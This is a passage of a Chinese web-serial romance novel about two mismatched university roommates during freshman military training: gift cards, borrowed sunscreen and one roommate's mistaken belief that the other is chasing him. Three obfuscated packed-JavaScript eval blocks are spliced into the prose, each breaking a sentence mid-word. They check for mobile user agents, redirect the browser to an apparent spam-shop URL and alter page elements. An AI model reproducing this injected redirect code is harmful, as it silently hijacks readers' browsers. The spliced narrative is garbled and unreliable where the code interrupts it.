他想睡觉,但热气直往他脸上扑,压根睡不着。 郁朝希从床上爬起来,问去了卫生间的祁莘时: “能关门了吗?” 不一会儿祁莘时从卫生间走了出来,面无表情地说:“关什么关?还有一股饭味。” 郁朝希撇撇嘴,“但是我要睡觉了。” “睡啊,我拦着不让你睡了吗?” “这么热,根本就睡不着,哪还有味?”郁朝希小声说:“狗鼻子……” 他的声音确实小,但寝室里也是真的安静,没到落针可闻的地步,而且,祁莘时耳朵也不聋。 “你说什么?” 祁莘时板着脸朝郁朝希的床靠近。 郁朝希心里咯噔一下,知道这是被祁莘时听见了。 他心虚地看了眼祁莘时,露出一个讨好的傻笑:“我什么都没说啊。” 祁莘时冷笑道:“你以为我聋吗?” 见装傻混不过去,郁朝希只好窝囊地认错,“对不起,我知道错了,我不应该那样说你……” 祁莘时的长相很凌厉,眼型狭长,有点下三白,拥有郁朝希这辈子都长不出来的刀削下颌线。 再没眼色的人也能看出他很不好惹。 祁莘时没吭声,微微抬头紧盯着郁朝希。 郁朝希心想自己不是已经认错了吗,还想怎么样,让你骂回来总行了吧。 他被盯得头皮发麻,抓着床头护栏杆的手不自觉收紧。 祁莘时突然移开视线,说:“下次再让我听见你说我坏话,嘴别要了。” 说着,他“哐当”把阳台门一声关上了。 郁朝希弱弱地“哦”了一声。 然后躺下开始午休。 一般情况下,他入睡非常快,平均只需两分钟。 今天更快,一沾枕头就着。 祁莘时刚把窗帘拉上,就听到了某人和缓的呼吸声。 真是能吃能睡。 祁莘时也上了床,郁朝希的呼吸声太吵,他扭头瞥了眼这人。 他以为郁朝希会睡得很舒展,像“横短一半的大”字,但情况正相反,郁朝希侧躺着,身体蜷缩了起来。 不像是一个没心没肺的饭桶。 上了床后,祁莘时发现宋寒成十分钟前给他发了消息。 ——宋寒成:大小姐的生日宴你还记得吧,这次一定要去啊,还有礼物,礼物准备好了没? 祁莘时打字:嗯。 宋寒成秒回:那我就放心了,你打算送什么礼物? 祁莘时点开和助理的聊天页面,让他帮自己置办。 ——祁莘时:你想说什么 ——宋寒成:我想参考参考…… ——祁莘时:那你找错人了,我和你又不是情敌关系,用不着和我攀比 ——宋寒成:…… ——宋寒成:你帮我想想呗 ——祁莘时:没这个闲工夫 宋寒成安静了两分钟,发消息说要和他绝交。 祁莘时解释道:你知道我是同性恋,怎么帮你? ——宋寒成:这和你的性取向有什么关系?这是用不用心的问题! ——祁莘时:哦,那我不想用心 ——宋寒成:绝交吧!!! 祁莘时放下手机,眉头忽然紧紧皱起。 郁朝希在打呼噜,呼噜声和他的哭声一样,无比刺耳,听得祁莘时心里发毛、烦躁。 祁莘时坐了起来,他等了一分钟,呼噜声不仅没消失,还越打越起劲。 受不了了…… 祁莘时来到床尾,拽了拽郁朝希的被子。 两秒钟后,呼噜声消失,但是—— 不到半分钟就卷土重来。 祁莘时:…… 他隔着夏凉被,按住郁朝希的小腿晃了晃。 情况和刚刚一样,根本就消停不了不久。 祁莘时入睡说不上困难,再加上午休基本上都是浅睡眠,所以要求不高。 但他睡眠很浅,在这种聒噪的环境中压根就睡不着。 “呼——呼——呼——” 郁朝希睡得很香,刚才动他那两下,压根就没吵到他。 祁莘时无语了。 他站起身,弯腰踩上郁朝希的床。 宿舍的床很窄,只有一米宽,但郁朝希瘦得跟杆儿一样,又是侧躺着,旁边留出不小的空间。 祁莘时不客气地握住郁朝希的肩头摇晃了两下。 郁朝希睡得太熟,迷迷糊糊地睁开眼,目光是一片茫然。 祁莘时硬邦邦地说:“你别打呼噜。” 郁朝希这下反应过来了:“谁打呼噜了!我从来不打呼噜……” “就是你,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538471|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道还会听错?” 郁朝希翻了个白眼,“别上我的床,我有洁癖!” 他后知后觉发现自己的肩头握在祁莘时手里,满不高兴地说:“你怎么老是捏我?烦死了。” 鼻子被人点了两下,郁朝希半合着眼,眼看又要睡过去。 “我再提醒你一遍,睡觉安静点。” 郁朝希翻了个身,背对着他,“你自己就很吵,还要求别人安静,真搞笑。” 祁莘时和这个人死不承认的人没话说,他原路返回,躺在床上时心脏气得乱蹦。 不到五分钟,那像叉子磨玻璃的声音又出现了。 祁莘时叹了口气,心想要是一直和这人生气,那气还能生得完吗? 他闭上眼睛,无比想把郁朝希揉成一个圆球踢出去。 下午三点钟集合,郁朝希定的闹钟是二点四十的。 他睡了整整两个小时,稍微弥补了下昨晚的睡眠。 昨晚…… 郁朝希想到这儿又蔫了。 他必须要找一份兼职,没有进账,一直支出的日子太可怕了。 他脱了睡衣,换成军训服。 对面的祁莘时瞥了他一样,目光不善。 郁朝希正想瞪回去,祁莘时抬手脱掉了上衣。 视线落在祁莘时的上半身时,他的眼睛不自觉瞪圆了。 那勃发的肌肉是他梦寐以求的…… 好羡慕…… 郁朝希的军训短袖刚套上脖子,他像是被定住了一样,直勾勾地紧盯着祁莘时。 祁莘时换衣的动作很快,郁朝希满打满算也没看几秒。 他低头看了看自己,一边继续穿衣服,一边嘴硬:他才不羡慕,一点也不。 郁朝希拿起手机,拎着装满水的杯子就下楼了,他不想和这个龟毛怪同行。 一出宿舍楼,郁朝希就被毒辣的太阳结结实实地罩住了,吸进喉咙里的空气又闷又热。 但还要军训,这才是第一天…… 到了集合点,三人又默契地聚在一起,然后默契地一句话也不说。 郁朝希像一株快被晒死的缺水植物,无精打采地垂着头。 三点钟,助教点名,点完名排队去军训点。 两个半小时后,下午五点三十分,第一天军训结束。 郁朝希的两个室友和上午一样,一解散就没影儿了。 可见他们之间的宿舍友谊是多么的塑料。 郁朝希的“每日吃饭金”还剩十几块,够他在学校食堂吃一碗面。 要是出去吃,这个价格得*2。 郁朝希排队买了一碗牛肉面,吃完后才刚六分饱。 他目光灼灼地看向买炸串的窗口,好想吃鸡柳、肉饼和烤肠啊…… 郁朝希按住口袋里的手机,克制地别开脸,逃也似的快步走出食堂。 不能再吃了,再这样吃下去就要破产了郁朝希! 他火急火燎地往宿舍赶。 谁说住六楼没好处?郁朝希就不信他费劲爬上六楼,回到了宿舍,还能嘴馋到再下去买吃的? 都军训一天了,好好休息不好吗? 郁朝希打开门,一刻不停地换下军训服去洗澡,洗完后抱着衣服去洗衣房。 军训三件套除了短袖,布料都较厚一点,不脱水的话,一晚上的时间压根晾不干。 他把衣服扔进洗衣机,定上闹钟二十分钟后去取。 刘佑齐晚上不回来,祁莘时也是,宿舍是他一个人的了。 郁朝希这样想着,哼着歌一把推开宿舍的门。 出乎意料的是房间里竟然有人,还不止一个。 5. 大额购物卡 一个穿着白衬衫的年轻男人微笑道:“您好,您是郁朝希同学吧,我是祁先生的助理。” 祁先生?祁莘时吗,天呐,他还有助理? 也是,开学都能带几名阿姨来宿舍收拾行李,有助理也不奇怪。 “啊,您好。” 郁朝希刚进门就发现,卫生间里有一名师傅在安装洗衣机。 祁莘时那张学校给配的书桌被抬走了,换上了一张看着很高级、很贵的桌子,就是四条腿有点细,奇怪的是感觉很稳。 两名“专业人士”正把一台电脑放在这张桌子上,电脑的显示屏很薄,是曲面的。 “有件事要告诉您一下,”助理说,“祁先生有洁癖,卫生间里的洗衣机还要拜托您……” 助理适时地停顿了一下,郁朝希连连点头:“我知道,我不会用的。” “好的,感谢理解,平常会有阿姨两天来打扫一下房间,可能会打扰到您,这个请收下,我没见到另一位室友,还要麻烦您转交。” 助理递过来两张卡,郁朝希下意识伸手去接,但他眼尖地看出那是两张购物卡,面值5000。 有点腿软,郁朝希一下缩回手。 他一脸的“这是在开玩笑吗”,“这个我不能收。” 妈呀五千,郁朝希全身上下都没五千块。 “没关系的,先生的一点心意,郁同学还是收下吧。” 助理依旧保持着得体的微笑,郁朝希慌张地摆摆手,“不行不行……” 五百也就算了,他咬咬牙也能收下。 但这是五千,对他来说数目太大了…… 助理:“郁同学不是嫌少吧,那我再包个红包?” 嫌少?郁朝希疯了才会嫌少。 还要包红包?郁朝希怀疑自己是穷出了幻觉在做白日梦…… “不是不是,这太多了,我不能收。” “不多,一点小心意。” 说着,助理把两张购物卡硬塞进郁朝希手里。 郁朝希拿着两张面额五千的购物卡,像捧着两块烫手山芋。 他呆呆地站在地板上,像是还没缓过神。 助理礼貌道:“麻烦郁同学让一下。” “哦好。” 郁朝希急忙站到一边。 电脑已经放置好了,刚刚搬来的是一张人体工学椅,坐上去应该会很舒服。 郁朝希瞄了眼祁莘时的桌子,发现整洁得过了头,他又看了两眼才发现,没有乱糟糟的数据线。 助理检查一番后满意地点了点头,和郁朝希告别后就离开了。 突然天降一笔横财,郁朝希整个人晕晕乎乎的,他拿起手里的卡看了又看,又掐了自己一把,才确信这是真的。 他深吸一口气,拿出手机拍了张购物卡的照片,发送给刘佑齐。 ——郁朝希:这是祁莘时的助理给你的,我放你桌子的抽屉里了。 发完消息后,郁朝希立刻搜索离学校最近的永新商超。 在看到坐地铁二十分钟就能到达后,郁朝希开始蠢蠢欲动。 五分钟后,他挎着包出门了。 七点半,郁朝希抵达永新商超。 日用品都刚开封,不用买。 零食?他从来不吃零食。 但是有薯片在搞促销,买一送一。 郁朝希拿了两组。 推着购物车刚走了没两步,他又碰上了酸奶促销,也是熟悉的买一送一。 郁朝希默默把手伸向酸奶。 情况到这儿都完全可以控制,直到他走进了熟食区—— 郁朝希的理智像正在加热的奶油,丝滑般地化开了。 正值晚间清货,熟食全部七折。 郁朝希不客气地拿了一盘烤串,刷了购物卡就直奔用餐区。 他津津有味地嚼嚼嚼,脸上洋溢着被美食治愈的美好笑容。 吃到一半有点噎,郁朝希开了一盒酸奶。 作为一个只喝过纯牛奶的土包子,酸奶进嘴的一瞬间,他立刻就被俘虏了。 当即决定再买两板。 喝空一盒酸奶后,郁朝希心血来潮打开了一包薯片。 薯片是原味的,咬起来“咔嚓——咔嚓”响,酥脆咸香,好吃到郁朝希觉得希望明天就会来临。 新世界的大门一扇接一扇地开,他、不,是他的钱包招架不住了。 两包薯片在几分钟内进了郁朝希的肚子,他用纸巾擦了擦手,推起购物车就朝刚进门的促销区跑。 郁朝希往购物车里放了四板酸奶、十包薯片。 时间来到八点钟,超市的促销力度又加大了。 郁朝希觉得自己像掉进了米缸的老鼠,幸福得快要晕倒。 十几分钟后,八分饱的郁朝希来到了烘焙区。 这儿的空气里弥漫着奶油的香甜和面包的浓郁焦香。 郁朝希秉承着一个抠门穷鬼的良好品德,优先选择打折商品—— 他买到了两个蓝莓酱面包和一块小蛋糕。 面包明天当早餐,蛋糕今天吃。 郁朝希没去用餐区,端着蛋糕找了个不挡路的地方,拿起叉子插下来一小块—— 奶油和面包接触到口腔的一瞬间,郁朝希心想,完了完了,他怎么吃什么都觉得无敌美味? 上辈子八成是饿死鬼投胎…… 郁朝希风卷残云地吃完了蛋糕,又没忍住咬了一口蓝莓面包。 他的本意是尝尝味道,但他还是不够了解自己。 嗯,他把一整个面包都吃了…… 已经十分饱了。 郁朝希看了眼购物车,都是零食,他抢购的熟食已全部下肚。 郁朝希懊恼地抓了抓头发,好像买得有点太多了…… 不过充气的薯片很占地方,所以并不算多。 郁朝希两句话把自己哄好了,然后顺手拿了捆火腿肠。 他推着购物车去结账,提着两大包零食上了地铁。 坐了两站后,郁朝希收到了室友刘佑齐的消息,他说他不去超市,把购物卡给郁朝希用。 郁朝希不可置信地把这短短两行字看了好几遍。 给他用? 给他用! 这是什么神仙室友啊! 郁朝希一定是撞大运了…… 两张购物卡,一共一万块,一万…… 手机滑落,“噔”的一声砸在车厢地板上,郁朝希回过神弯腰去捡,点开和刘佑齐的聊天页面,不信邪地又看了两遍。 他把自己那两大包东西拍照发给他:真的不要吗?我刚刚用卡买了好多东西。 刘佑齐没回他。 回到学校已经九点半了,宿舍的门禁是十点。 郁朝希打算每天都要去永新商超,听说里面的一些自营店也可以刷卡消费。 他哼着歌健步如飞,一口气爬到四楼才开始喘。 一热脸就开始痒,这才晒了一天,他的皮肤就开始抗议。 郁朝希抓了两下不敢再挠了,因为越挠越痒。 他中午在网上看到,晒伤后厚敷芦荟胶可以缓解干痒, 郁朝希决定待会儿就买一瓶。 他蹦蹦跳跳地穿过走廊,停在618门前,输入密码后推开了门——房间里亮着灯。 郁朝希记得出门前他关了灯的。 他没顺手带上门,而是静悄悄地往里走了两步,够着头看了看—— 他看到祁莘时坐在工学椅上,正“啪啪”地敲着键盘。 正所谓“吃人嘴软,拿人手短”,郁朝希回过头把门关上,思考了下该用哪种态度对待祁莘时。 没等他思考清楚,就听祁莘时说:“你看看几点了?要是被锁外面,我不会下楼给你开门。” 郁朝希不高兴地绷着脸,他又没错过门禁时间,也没让祁莘时下楼放他进来,怎么还能预设出最坏的情况来指责他呢。 他深吸一口气,心想忍忍吧,谁让你收了人家的购物卡,还已经花了两百多块! 没听到郁朝希的回话,祁莘时回头看了这个笨蛋一眼,只见他一只手提着一个超大的购物袋,正一脸“如临大敌”的模样。 郁朝希怯怯地和祁莘时对视了一秒钟,说:“我去超市了,我有看时间,不会被锁外面。” 祁莘时下意识地眯起眼睛,上下扫了眼郁朝希。 眼睛是圆的,脸型也偏圆,两颊还泛着粉……装可怜最拿手了。 分享是一种美德,郁朝希提着购物袋停在祁莘时身旁,问:“你吃吗?” 讨好,赤裸裸的讨好,祁莘时不屑一顾地回过头,“不吃。” “哦。” 郁朝希把零食放在自己的桌子上,开心地搞起了收纳。 他拆掉捆在零食上的胶带,把薯片一包包地排在最上层的书架上。 然后是酸奶、火腿肠、脆脆鲨、好丽友派、铜锣烧、法式小面包、泡椒凤爪…… 等收拾好后,郁朝希看到了刘佑齐的消息:哦没事,你用吧。 郁朝希心虚地瞥了眼祁莘时,起身走到刘佑齐的书桌前,拉开抽屉把卡拿了出来。 整整一万块。 郁朝希已经打算好了,每天晚上都要去商超吃晚饭。 这一万块可以花好久。 某人又开心了。 他哼着歌走进卫生间,看到洗衣机的瞬间,他猛然想起洗衣房的衣服还没拿。 郁朝希只能先把衣服拿回来晾上,再去冲澡。 卫生间被打扫得很干净,郁朝希洗完澡后,仔细地把地拖了,穿着睡衣走出卫生间。 脸好像越来越痒了,面霜的质地有些厚重,大夏天的他也不敢多涂,只抹了薄薄一层。 郁朝希没有小镜子,整间宿舍只有卫生间有面大镜子。 因为刚洗完澡,镜面蒙了层水雾,郁朝希抽了张纸巾擦了擦,前倾身体,差点把脸贴上去。 郁朝希的两颊有些发烫,红成了猴屁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538472|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股。 他对护肤一窍不通,现在脸出了问题,除了干着急,就是抱着手机搜索: 用凉水冲洗-厚敷芦荟胶 对,芦荟胶,郁朝希还没买芦荟胶。 他在购物平台买了瓶平价芦荟胶,特意看了发货地,下单前问了客服,说明天上午就发货。 因为是发货地临市,后天中午就能到。 忍一忍吧,郁朝希心想,防晒霜明天就到了,最多再被晒一天。 他郁闷地瞥了眼祁莘时,发现这人一点事没有。 一定是涂防晒了。 刘佑齐不涂,要是他涂的话,郁朝希一定会和他借…… 不过虽然祁莘时不好说话,但如果他向这人借防晒的话,应该会借给自己的吧,毕竟是一个宿舍的。 郁朝希坐在椅子上磨蹭了十分钟,浑身刺挠地站起身,超绝不经意地在祁莘时身后晃了两趟。 还没等他张嘴,祁莘时就突然回头盯着他: “你犯病了,一直走来走去的干什么?” 说话真难听啊,郁朝希暗自吐槽,但谁让你要求人家呢。 “没有,我没病,就是……” 郁朝希学以致用,做了个适时的停顿,希望祁莘时可以马上明白他的意思,把防晒借给他。 但几秒钟后,祁莘时还是一副“你没病吧”的表情。 郁朝希心想,果然这人还是没他有眼色、有悟性。 他决定给这人一点提示,于是用手蹭了蹭自己的脸。 动作自然无比,一气呵成。 郁朝希沉浸在自己的表演里,丝毫没意识到祁莘时看他的眼神都变了。 矫揉造作、动作夸张、表情大胆,祁莘时知道他想干什么,不就是想勾搭上他吗? 无聊幼稚 他没闲工夫浪费在这个笨蛋身上。 祁莘时转过了头,留给郁朝希一个冷漠的背影。 郁朝希扁扁嘴,心想这人一点也不通灵性。 他站到祁莘时身旁,决定直说,“那个……你的防晒可以借我用一下吗?我买的明天下午就到了……” “没有。”祁莘时冷冷道。 被拒绝的郁朝希又浑身刺挠起来,他的脸好像更热了。 “哦,哦,那好吧。” 郁朝希正要走开,就听祁莘时说:“我朋友有,明天你用他的。” 意外之喜太突然,郁朝希噌的凑到祁莘时面前,“真的吗?太感谢了。” 这距离实在有些近,祁莘时下意识躲了下。 郁朝希见状立刻站直了身子,“先下手为强地道歉”: “啊不好意思,我忘了你有洁癖了,谢谢!” 说完也不管祁莘时接不接受,自顾自地踩着梯子上床了。 因为昨晚大哭了一场,郁朝希的鼻子有些不通气,睡着了就容易打呼,不过这种情况一般持续不了多久。 总之今晚郁朝希没打呼。 没喝奶茶,再加上累了一天,郁朝希再次一沾枕头就着。 祁莘时还在下面敲键盘,就听见一阵和缓的呼吸声。 他的手顿了下,仔细听了会儿发现没有呼噜声。 祁莘时瞄了眼时间,才刚十点。 真是能吃能睡。 十一点半,祁莘时关灯上床。 郁朝希把自己裹成了一个蚕蛹,正呼呼大睡。 祁莘时停在两张床抵在一起的地方,情不自禁地把手伸了出去。 即将碰到某人的夏凉被时,他的眉头突然皱起。 祁莘时不满地看了眼罪魁祸首。 翌日六点二十,郁朝希的闹钟响起,是一段舒缓的纯音乐。 祁莘时的生物钟是六点,他已经洗漱好,打算出门了。 郁朝希伸这头叫他:“好早,你要去食堂吃饭吗?” 去什么食堂,祁莘时要去一直在吃的早餐店。 “不是,怎么了?” “你要吃火腿肠和面包吗?我桌子上有。” 刻意、拙劣的讨好,祁莘时拒绝了。 他听到郁朝希失落地哦了声。 郁朝希洗漱完换上军训服,他看着桌上的零食,心想可以用来当早餐。 他每样都吃了一点,六点四十,郁朝希拎着杯子下楼,去食堂买了两个鸡蛋。 因为他的早餐还缺乏优质蛋白。 到了集合点后,郁朝希看到他的室友都来了。 祁莘时递给他一管防晒,郁朝希开心地接过来,把帽子一摘就开始涂。 这个防晒的质地很轻薄,郁朝希稍微一抹就涂开了,他特意多涂了两层,希望可以撑过一整个上午。 涂完后他拧上盖子还给祁莘时:“给你,谢谢。” “你先拿着吧。”祁莘时说。 “啊?你朋友不是还要用吗?” “这东西他多的是。” “哦,那好吧。” 郁朝希把防晒揣进了自己兜里。 6. 自我攻略 “谢谢。”郁朝希再次礼貌道谢。 祁莘时瞥了眼郁朝希脸上的笑,心想这个人还真容易满足。 - 痛苦的一天又开始了,郁朝希难以适应军训,感觉自己快被晒晕。 而且一站就是一上午,站得他脚底板酸胀难忍。 好在祁莘时借给他的防晒非常好用,脸不会再痒了,就是还有点热热的。 祁莘时真是神仙好室友,不仅给他购物卡,还借他防晒霜。 郁朝希抽空就朝站在他后方的祁莘时礼貌微笑一下。 室友太高冷,一次也没和他对视过,但郁朝希想要感谢他的心依旧热烈。 帽檐下的一双眉眼十分冷淡,祁莘时定定盯着前方,几秒钟前,郁朝希再一次回头冲他傻笑。 祁莘时能够完全确定,这个笨蛋喜欢他。 他的心情十分平静,没泛起任何波澜,因为这是一件再正常不过的事。 只是郁朝希已经打扰到了他的生活,祁莘时希望他能收敛一些,但又不知道怎么开口,于是只能作罢。 四十分钟后,一声长哨划破操场。 教官刚说完解散,郁朝希的两肩就塌了下来,他垂头丧气地转过身,祁莘时见状立刻别开脸,避免和他对视。 操场两侧有看台,他们一般会坐在那儿休息。 为了防止中暑,郁朝希坐下的第一件事就是喝水。 祁莘时看着这个人像水牛一样,咕噔咕噔地往肚子里灌水,灌完后从口袋里拿出一张手帕,把自己汗涔涔的脸擦干净。 接着他应该问有没有人要去接水,或者上厕所。 不过因为今天借到了防晒,在这之前多加了一个步骤。 他拿出防晒,脸上带笑地问:“我可以再用一次吗?” “随便。” “谢谢!” 祁莘时握着杯子喝水,余光里,郁朝希在两颊、额头、鼻子和下巴点上乳液状的防晒,像海獭一样慢慢涂开。 等补涂完防晒,郁朝希问:“你们去接水或者上厕所吗?” 刘佑齐摇摇头。 祁莘时:“不去。” “哦好,”郁朝希起身,热情地朝祁莘时伸出手:“我帮你接水吧。” “不用。” 祁莘时拒绝这个人和他套近乎。 “好吧。” 郁朝希拎着杯子走了。 祁莘时默不作声地看着这个背影越走越远。 个头不高,好在比例不虐,但浑身上下都找不到几个优点,扔进人堆里立马就能淹没。 实在是一个普通到不能再普通的人。 不过要是硬让他说出几个优点,也不是没有。 笑起来勉强还算顺眼,长得也偏无害…… 但祁莘时是不会喜欢他的。 十分钟后,军训继续。 郁朝希生无可恋地站军姿,他非常希望这两周可以像白驹过隙一样飞快流逝掉。 但那是不可能的,非但不可能,还度日如年。 郁朝希硬熬到上午的训练结束,当即决定好好奖励自己一下——中午吃石锅鱼。 军训的结束时间要比下课时间早二十分钟,教官刚宣布解散,郁朝希就迅速回血,扭头朝食堂冲去。 但他冲得太猛,竟然迎面撞上一个高挑的身影。 郁朝希连人都没看清,就下意识道歉:“对不起对不起……” “受害人”凉飕飕地开口:“你急着投胎?” 这声音……郁朝希心想不是吧,这也太倒霉了,怎么撞到他了。 想想那天,他不过就是扛着床垫轻轻杵了祁莘时一下,这人就疯狂发飙。 可见脾气是真的坏。 郁朝希默默缩了缩脖子,把三分关心演绎到了十分—— 他往上扯了下帽檐,露出真诚的双眼,接着一把抓住祁莘时的小臂,满怀愧疚地问: “你没事吧,撞到哪儿了,要不要紧?” 一般来说,郁朝希这套道歉流程很管用,但对上祁莘时,效果好像大减了…… 他看见祁莘时的嘴唇抿了抿,一副“忍他很久”的样子。 郁朝希立马松开手,与此同时,祁莘时也开口说话了:“放开。” 他的声音压得很低,语气非常不耐烦。 郁朝希不自觉地蜷缩起手指,小声说:“……对不起,我不是故意的……” 祁莘时扔下一句“好好看路”,就走了。 人刚一走,郁朝希就一改低眉顺眼,抬腿就往食堂赶。 真是的,浪费了他快半分钟的时间。 越来越过分了,祁莘时心想,已经到了要和他制造身体接触的地步…… 没想到看着挺老实,行为却这么大胆。 郁朝希以百米冲刺的速度赶到五号食堂,一路小跑至石锅鱼窗口前,前面只有三个排队的,他的努力没有白费。 十五分钟后,郁朝希心满意足地找了个座位坐下,开始享用美味。 他点的是大份的,微辣,鱼片的分量很足。 郁朝希不太能吃辣,这主要是因为从小到大的饮食习惯。 不过另一方面他又非常喜欢辣菜,目前正在缓慢适应阶段。 鱼片十分滑嫩,没有丝毫腥味,出餐前还浇了勺热油,石锅有余温,菜肴还咕嘟咕嘟地小滚着。 郁朝希吃得冒汗,餐厅里虽说有空调,但地方太大,没有宿舍凉快。 都怪祁莘时那个事儿精,不让他在宿舍吃饭。 成天就爱搞特殊,郁朝希也没听说其他宿舍有立这种规矩的。 他愤愤不平地抱怨道,但下一秒,他忽然想到那两张购物卡。 面值一万块的购物卡。 郁朝希伸手拍了拍自己的嘴,嘟哝道:“怎么能乱说同学的坏话呢,出汗了擦擦就好了。” 他拿出自己的手帕——一块白色纯棉方巾,抹了抹额头和鼻翼上的汗。 擦完后,他抬头看了眼石锅鱼窗口,发现已经排起了长队。 真受欢迎啊,不愧是食堂必吃榜。 郁朝希夹起一筷子鱼片吹了吹,再次感叹美食令人心情愉悦。 吃完午饭,郁朝希哼着歌回到宿舍,他亲爱的室友已经回来了,空调是启动状态,房间内凉爽舒适。 祁莘时真是一个贴心好室友。 室友正坐在他的人体工学椅上,带着耳机一言不发。 电脑开着,郁朝希是一个有礼貌的人,没刻意偷瞄,但屏幕太大,他不小心看了一眼,好像是线上会议。 郁朝希拿着睡衣去卫生间冲凉,出来后祁莘时已经关了电脑。 他看了室友一眼,正巧两人对视,郁朝希勾起唇角笑了笑。 他表现得非常友好,但对面那人依旧冷冰冰的,好像还在为自己撞了他而生气。 但郁朝希又不是故意的,他又累又饿又馋,慌张一点也情有可原,再说了,他也没撞得很重吧。 郁朝希垂下眼,心想要不然他再道歉一次? 祁莘时的目光在郁朝希那张圆脸上一闪而过。 这样圆润的轮廓,会让人产生“无害、需要保护”的生物本能。 而长在圆脸的眼睛,无论是直视他,还是垂下去,都把“装可怜”这种行为运用到极致。 祁莘时非常看不惯这种行为。 他觉得郁朝希表面上看着老实,实际心眼颇多,总是笨拙地想要引起他的注意。 祁莘时对此嗤之以鼻。 郁朝希抬眼,情真意切地开口:“刚刚真是太不好意思了,我撞到你哪儿了?很疼吗?” 又来了,刻意搭话、刻意套近乎。 祁莘时:“我说了没事。” 没事还臭脸?口是心非,承认自己小心眼有这么难吗? 郁朝希在心里默默蛐蛐,但表情控制得很好,俨然一副认真道歉的模样。 但在祁莘时眼里,他是痴心妄想,执着用错了地方。 郁朝希见状没说什么,他懒得再理这人,爬着梯子上床了。 上床后,郁朝希带着耳机刷了会儿视频,主要是一些美食吃播,他最抱幻想的副业。 可惜他已经被那些评论搞得心态崩塌,暂时望而却步。 不过,郁朝希刷着刷着看到了另一种不露脸的。 他若有所思地重复看了两遍,好像找到自己的赛道了。 但短时间内还没有尝试的热情。 郁朝希还是把希望寄托在干家教上。 校园卡的流量很多,郁朝希刷起视频来一个接一个,压根不用担心会用光。 其实他并不是在单纯地看视频,而是学习人家的拍摄手法,以及—— 记菜名。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538473|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个看起来好好吃,名字记下来。 他举着手机刷得津津有味,躺在对面床上的祁莘时忍无可忍。 因为郁朝希的耳机漏音…… 两分钟后,祁莘时的耐心耗尽,他坐起身,敲了敲床尾的栏杆。 他等了几秒钟,郁朝希毫无反应。 祁莘时只能伸手去扯郁朝希的被子。 这回有动静了。 郁朝希支着身体,把耳机摘下一只,一脸茫然地问:“怎么了?” 祁莘时指了指自己的耳朵。 郁朝希还是一脸问号,祁莘时的耳朵怎么了? 他问:“你耳朵不舒服吗?” 祁莘时:…… “那你快去医院看看吧……” 祁莘时:“是你耳机漏音。” “耳机漏音?”郁朝希把另一只也摘下来,“不可能,我刚买的。” 郁朝希把耳机放在手心里,然后,他听到了博主吃酱香肘子的声音。 他19.9的新耳机,竟然真的漏音! 郁朝希把音量降低,降到两个格时,“外放”的声音消失了。 “不好意思啊。”他尴尬地说。 祁莘时应了声:“以后注意。” 郁朝希没心情再刷视频了,他关掉手机,躺下午休,暂停研究美食视频的拍摄手法。 下午军训结束后,郁朝希收到了取件码,他的防晒终于到了。 郁朝希把祁莘时借他的防晒还了回去。 祁莘时还没回来,郁朝希多看了他的电脑两眼。 郁朝希的专业是计算机,大一下学期会开专业课,他需要买一台笔记本。 这对他来说是一笔大支出。 找兼职迫在眉睫了。 郁朝希边想边换下军训服,然后拉开抽屉拿出购物卡,下楼坐地铁直奔永新商超。 超市自营餐厅也可以刷卡,餐厅包括面食、汤粉、炒菜、火锅和活鲜加工。 郁朝希主要是来吃后两种的。 他在水产区买了条鱼,又去调味品区拿了袋水煮鱼调料,随后就拎着这些东西去排队加工。 鱼不大,刚两斤,适合一人食。 郁朝希等了十几分钟就吃上了。 食材和加工费一共花了六十三,中午吃的石锅鱼四十块,郁朝希本以为分量已经很足了,但和眼前的这份比,还是差了不少。 如果每天都来永新吃鱼,一万的购物卡可以吃五个月。 五个月! 幸福的泪水从嘴巴里流了出来。 而这一切,都要感谢他的“感动A大十佳好舍友”。 郁朝希真是太不好意思了,于是当即拿出手机,给他的好舍友发消息。 - 台球厅 “啪!” 宋寒成一杆将球送入底袋。 他握着球杆,看向不远处的祁莘时,问道:“干什么呢大少爷,等你半天了。” 祁莘时盯着聊天页面上的两条消息,眉头紧紧蹙着。 ——郁朝希:我在超市呢,你有要带的东西吗? ——郁朝希:不要客气,都是室友嘛,有需要的东西可以发消息给我哦~ 这是什么意思?想插手他的生活? 没有分寸…… 一共短短两句消息,竟然用了三个拟声词。 明目张胆的撒娇,拙劣的手段。 “欸?怎么不理人?” 宋寒成走近,祁莘时“唰”的收起手机。 “嚯,什么情况?有什么是我不能看的?”宋寒成看他脸色凝重,又问道:“没出什么事吧?” “没有,”祁莘时说,“缠得太紧,烦。” 宋寒成闻言来了兴趣:“哪位啊,胆子这么大,敢缠你?” 